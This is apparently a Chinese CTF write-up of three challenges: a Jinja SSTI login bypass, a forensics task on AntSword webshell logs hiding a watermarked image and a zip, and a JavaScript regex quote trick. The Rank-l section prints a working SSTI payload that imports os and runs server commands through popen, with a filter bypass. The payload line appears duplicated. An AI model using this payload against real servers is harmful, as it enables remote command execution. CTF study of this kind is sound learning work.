Rank-l

登陆时可以发现其输入用户名和输入密码是在不同路径下的。

在经过尝试可以发现在登陆页面输入一次用户名,服务器会将其保存,后面输入密码时,如果错误会回显用户名

因为是py所以尝试使用ssti

经过尝试可以发现,在用户名处存在ssti
其过滤了一些特殊符号如/ * ;等。这里我使用equest.args.x1来进行绕过

1
phone_number={{g.pop.__globals__.__builtins__['__import__']('os').popen(request.args.x1).read()}}phone_number={{g.pop.__globals__.__builtins__['__import__']('os').popen(request.args.x1).read()}}

easydatalog

下载查看日志

可以发现其为使用蚁剑所记录的日志。
一步步看下去可以发现用蚁剑传了一张jpg图片。蚁剑传图片是分段传的将图片的多段拼接在一起。

得到如下图片

提取盲水印可以发现

再接着看日志可以发现还有一个zip文件

提取出来使用盲水印的密码解压。

得到csv文件

sqli or not

主要是记一下

1
$`

可以代替引号来和前面一个引号匹配。
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastParen
这个trick说实话真是学到了。